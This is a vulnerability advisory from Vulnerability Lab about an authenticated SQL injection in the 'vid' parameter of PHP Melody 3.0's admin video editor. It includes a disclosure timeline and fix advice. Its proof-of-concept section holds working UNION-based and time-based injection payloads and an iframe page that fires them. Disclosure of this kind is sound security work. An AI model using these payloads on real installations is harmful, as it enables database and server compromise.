# Exploit Title: PHP Melody 3.0 - 'vid' SQL Injection # Date: 2021-10-20 # Exploit Author: Vulnerability Lab # Vendor Homepage: https://www.phpsugar.com/phpmelody.html # Version: v3 Document Title: =============== PHP Melody v3.0 - (vid) SQL Injection Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2295 Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/ Release Date: ============= 2021-10-20 Vulnerability Laboratory ID (VL-ID): ==================================== 2295 Common Vulnerability Scoring System: ==================================== 7 Vulnerability Class: ==================== SQL Injection Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing. Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series, TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS. (Copy of the Homepage: https://www.phpsugar.com/phpmelody.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the PHP Melody v3.0 video cms web-application. Affected Product(s): ==================== PHPSUGAR Product: PHP Melody v3.0 - Video CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-09-04: Vendor Response/Feedback (Security Department) 2021-09-22: Vendor Fix/Patch (Service Developer Team) 2021-09-22: Security Acknowledgements (Security Department) 2021-10-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Full Authentication (Admin/Root Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A remote sql-injection vulnerability has been discovered in the PHP Melody v3.0 video cms web-application. The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms or file system of the web-application. The remote sql injection vulnerability is located in the `vid` parameter of the `edit-video.php` file. Remote attackers with moderator or admin access privileges are able to execute own malicious sql commands by inject get method request. The vid parameter in the acp ui is not sanitized properly. Thus allows an attacker to inject own sql commands to compromise the web-application and dbms. Exploitation of the remote sql injection vulnerability requires no user interaction but a privileged moderator or admin account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] Video Edit Vulnerable File(s): [+] edit-video.php Vulnerable Parameter(s): [+] vid Proof of Concept (PoC): ======================= The remote sql-injection web vulnerability can be exploited by authenticated remote attackers without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Original: https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd&a=4&page=1&filter=added&fv=desc PoC: Exploitation #1 https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL, CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271), NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- PoC: Exploitation #2 https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))-- PoC: Exploit <html> <head><body> <title>phpmelody vid sql injection poc</title> <iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=-3435b47dd' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL, CONCAT(0x7171766b71,0x5642646a536b77547366574a4c43577866565270554f56426b6175535a55764259514b6c486e6e69,0x71626a6271), NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"> <br> <iframe src="https://phpmelody.localhost:8000/admin/edit-video.php?vid=3435b47dd-' AND (SELECT 1446 FROM (SELECT(SLEEP([SLEEPTIME])))--"> </body></head> </html> Reference(s): https://phpmelody.localhost:8000/ https://phpmelody.localhost:8000/admin/ https://phpmelody.localhost:8000/admin/edit-video.php Solution - Fix & Patch: ======================= The vulnerability can be resolved by the following steps ... 1. Use a prepared statement to build the query 2. Restrict the parameter input to disallow special chars 3. Escape and encode the content to prevent execution of malicious payloads 4. Alternativ it is possible to integrate a web firewall or filter class to block further attacks. Credits & Authors: ================== Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 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